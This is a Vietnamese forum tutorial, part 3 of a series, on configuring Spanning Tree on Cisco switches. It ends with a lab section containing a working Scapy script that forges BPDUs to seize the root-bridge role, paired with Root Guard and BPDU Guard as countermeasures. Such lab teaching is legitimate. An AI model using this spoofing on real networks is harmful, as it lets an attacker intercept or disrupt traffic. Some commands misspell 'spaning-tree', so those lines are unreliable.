Giao thức Spanning Tree (Phần 3)

HanaLink

Moderator
Các bạn có thể xem lại 2 phần trước tại đây:
Giao thức Spanning Tree (STP - Spanning Tree Protocol)
Giao thức Spanning Tree (Phần 2)
Ở phần 3 này chúng ta sẽ tìm hiểu cách cấu hình giao thức STP trên thiết bị Cisco, cách tấn công giao thức này và cách làm thay đổi các thông số bầu chọn bên trong giao thức.

I. Cấu hình STP trên Switch Cisco (Per Vlan Spanning Tree)
Yêu cầu:

1657853370379.png

1. Cấu hình VLAN và Trunking trên các Switch
Như topology trên thì ta thấy các port của Switch nối với PC sẽ được cấu hình Mode Access còn các port nối với Switch khác sẽ cấu hình Mode Trunk.
[Mode Access và Trunk là gì các bạn có thể tham khảo thêm tại bài viết tại ĐÂY]
Trên SW1:
Code:
SW1(config)#vlan 10
SW1(config-vlan)#exit
SW1(config)#vlan 20
SW1(config-vlan)#exit

SW1(config)#interface GigabitEthernet0/3
SW1(config-if)#switchport mode access
SW1(config-if)#switchport access vlan 20
SW1(config-if)#exit
SW1(config)#interface range GigabitEthernet0/0-2
SW1(config-if)#switchport trunk allowed vlan 10,20
SW1(config-if)#switchport trunk encapsulation dot1q
SW1(config-if)#switchport mode trunk
SW1(config-if)#exit
Trên SW2:
Code:
SW2(config)#vlan 10
SW2(config-vlan)#exit
SW2(config)#vlan 20
SW2(config-vlan)#exit

SW2(config)#interface GigabitEthernet0/3
SW2(config-if)#switchport mode access
SW2(config-if)#switchport access vlan 20
SW2(config-if)#exit
SW2(config)#interface range GigabitEthernet0/0-2
SW2(config-if)#switchport trunk allowed vlan 10,20
SW2(config-if)#switchport trunk encapsulation dot1q
SW2(config-if)#switchport mode trunk
SW2(config-if)#exit
Trên SW3:
Code:
SW3(config)#vlan 10
SW3(config-vlan)#exit
SW3(config)#vlan 20
SW3(config-vlan)#exit

SW3(config)#interface GigabitEthernet0/2
SW3(config-if)#switchport mode access
SW3(config-if)#switchport access vlan 10
SW3(config-if)#exit
SW3(config)#interface range GigabitEthernet0/1-2
SW3(config-if)#switchport trunk allowed vlan 10,20
SW3(config-if)#switchport trunk encapsulation dot1q
SW3(config-if)#switchport mode trunk
SW3(config-if)#exit
Trên SW4:
Code:
SW4(config)#vlan 10
SW4(config-vlan)#exit
SW4(config)#vlan 20
SW4(config-vlan)#exit

SW4(config)#interface GigabitEthernet1/0
SW4(config-if)#switchport mode access
SW4(config-if)#switchport access vlan 20
SW4(config-if)#exit
SW4(config)#interface range GigabitEthernet0/0-3
SW4(config-if)#switchport trunk allowed vlan 10,20
SW4(config-if)#switchport trunk encapsulation dot1q
SW4(config-if)#switchport mode trunk
SW4(config-if)#exit
Trên SW5:
Code:
SW5(config)#vlan 10
SW5(config-vlan)#exit
SW5(config)#vlan 20
SW5(config-vlan)#exit

SW5(config)#interface GigabitEthernet0/2
SW5(config-if)#switchport mode access
SW5(config-if)#switchport access vlan 10
SW5(config-if)#exit
SW5(config)#interface range GigabitEthernet0/1-2
SW5(config-if)#switchport trunk allowed vlan 10,20
SW5(config-if)#switchport trunk encapsulation dot1q
SW5(config-if)#switchport mode trunk
SW5(config-if)#exit
2. Cấu hình bầu chọn STP để SW1 là RB cho VLAN 10 và SW2 làm RB cho VLAN 20
Do có nhiều VLAN và yêu cầu cấu hình Root Bridge cho từng VLAN nên ta sẽ sử dụng cơ chế PVSP đã được giới thiệu ở phần 2.
Như phần lý thuyết cũng đã nói thì STP là một giao thức mặc định nên khi các Switch được khởi động nó sẽ gửi các gói BPDU cho nhau, và các gói này sẽ hoạt động trên VLAN 1, trong trường hợp yêu cầu trên nghĩa là ta sẽ tự chỉnh để hệ thống sẽ bầu chọn SW1 làm Root Bridge cho VLAN 10 còn SW2 làm Root Bridge cho VLAN 20.
Ban đầu có thể dùng câu lệnh sau để kiểm tra xem hệ thống đang bầu chọn cho Switch nào làm Root Bridge:
SW(config)#do show spanning-tree

Trên SW1:
Code:
SW1(config)#spaning-tree vlan 10 root primary
Trên SW2:
Code:
SW2(config)#spaning-tree vlan 20 root primary
Sau đó ta kiểm tra lại sẽ thấy từng VLAN đã có Root Bridge khác nhau:
Code:
SW1(config)#do show spanning-tree vlan 10
SW2(config)#do show spanning-tree vlan 20
1657851904790.png
1657851842547.png

Trong trường hợp nếu ta muốn cấu hình SW2 làm Root Bridge dự phòng cho VLAN 10 (nghĩa là ta chỉ định cho SW2 lên làm thay thế cho trường hợp nếu SW1 bị down lỗi) ta có thể dùng câu lệnh:
Code:
SW2(config)#spanning-tree vlan 10 root secondary
3. Cấu hình các Block port trên VLAN 10 sau: G0/1 trên SW2, G0/1 trên SW3 và G0/1 trên SW5
Sau khi đã cấu hình ở bước 2, ta sẽ tiến hành kiểm tra xem hệ thống sẽ bình chọn lại các port như thế nào bằng câu lệnh (trước khi kiểm tra bạn hãy thử tính toán như phần lý thuyết đã được giới thiệu trước đó xem hệ thống có bầu chọn như vậy không nha :">):
Code:
SW#show spanning-tree vlan 10
1657681514219.png
1657681553258.png

1657681578716.png
1657681616986.png

1657682098243.png

Như các thông số hiện giờ thì ta thấy các port bị Block đang là: G0/1 của SW3, G0/0 của SW4 và G0/1 của SW5.
Theo yêu cầu thì ta cần thay đổi port bị Block từ G0/0 trên SW4 thành G0/1 trên SW2. Có 2 cách mà ta có thể thực hiện để Switch bầu chọn lại thông số port Block:
  • Thay đổi BID của thiết bị
  • Thay đổi Pathcost của cổng
Chung quy thì 2 cách này đều làm cho Switch tính toán lại đường đi và lựa chọn lại Root Port hay Designated Port, tuy nhiên cá nhân mình nghĩ vẫn nên ưu thay đổi Pathcost của cổng bởi vì trường hợp nếu thay đổi BID của Switch thì rất dễ làm ảnh hưởng đến các Switch và cổng khác.
Để dễ hình dung chúng ta tập trung vào 3 Switch chính liên quan đến port G0/1 trên SW2 là SW1, SW2 và SW4 (pathcost các port hiện tại đều là 4):
1657851207692.png

Theo như lý thuyết thì ta biết được lý do tại sao G0/0 của SW4 được chọn làm Block Port, ta xem xét các port khác:
  • Root Port: G0/0 - SW2, G0/1 - SW4
  • Designated Port: G0/0 và G0/2 - SW1, G0/1 của SW2
  • Block Port: G0/0 - SW4
Vậy để G0/1 của SW2 làm Block Port thì ta chỉ cần thay đổi làm sao cho G0/0 của SW4 trở thành Designated Port, hay nói rõ hơn là thay đổi Pathcost từ SW4 về Root Brigde (SW1) từ cổng G0/0 là nhỏ nhất. Khi đó ta chỉ cần chỉnh Pathcost của G0/0 của SW2 cao hơn thì trên phân đoạn [G0/1 - SW2 và G0/0 - SW4] sẽ bầu chọn G0/0 của SW4 thành Designated Port, sử dụng câu lệnh sau để thay đổi Pathcost:
Code:
SW2(config)#interface G0/0
SW2(config-if)#spaning-tree vlan 10 cost 5
Bây giờ ta cần chờ khoảng 30 giây để Block port chuyển sang trạng thái Forwarding, ta kiểm tra lại thông số:
1657852337799.png
1657852359959.png

Như bạn thấy hiện tại SW4 đã không còn Block Port, tuy nhiên việc thay đổi Pathcost trên SW2 không chỉ làm thay đổi trạng thái Port của SW4 mà còn ảnh hưởng đến SW3 nên G0/2 của SW2 cũng đã trở thành Block port thay cho G0/1 của SW3, vì vậy cũng theo quy tắc trên ta lại tiếp tục thay đổi Path Cost của G0/0 trên SW3 sao cho lớn hơn G0/0 của SW2:
Code:
SW3(config)#interface G0/0
SW3(config-if)#spaning-tree vlan 10 cost 6
Sau đó ta kiểm tra toàn bộ hệ thống sẽ thấy các Block port đúng theo yêu cầu:
1657852647431.png

1657852687850.png

1657852726613.png

1657852778557.png

Như vậy các port bị Block đã đúng theo yêu cầu, hãy thử làm

II. Giả lập tấn công STP bằng Scapy
Ở phần này nếu các bạn muốn tìm hiểu thêm và nâng cao thì các bạn chỉ cần chuẩn bị 1 máy Linux đóng vai trò Attacker và kết nối các Switch theo mô hình sau:
1657852985861.png

Kiểm tra tình trạng STP trên các Switch đang chạy bình thường như thế nào.
Sau đó trên Attacker tạo 1 tệp tin Python chứa đoạn code Scapy sau:
Python:
from scapy.all import *

pkt = sniff(filter="ether dst 01:80:c2:00:00:00",count=1, iface="eth0") 
pkt[0].src="00:00:00:00:00:01"
pkt[0].rootid=0
pkt[0].rootmac="00:00:00:00:00:01"
pkt[0].bridgeid=0
pkt[0].bridgemac="00:00:00:00:00:01"
pkt[0].show()

while 1:
    sendp(pkt[0], loop=0, iface='eth0')
    time.sleep(1)
[Attacker sẽ kết nối với Switch qua cổng eth0, gói BPDU trên giả mạo thông số Priority và MAC Address nhỏ nhất]
Chạy tệp tin trên dưới quyền root và xem kết quả trên các Switch sẽ thấy chúng bầu chọn Attacker làm Root Bridge. Hãy thử bật các tính năng Root Guard/ BPDU Guard và tấn công lại xem kết quả như thế nào.

Mong rằng bài viết sẽ hữu ích cho mọi người. Chúc các bạn thành công :">
 

Attachments

Last edited:
Top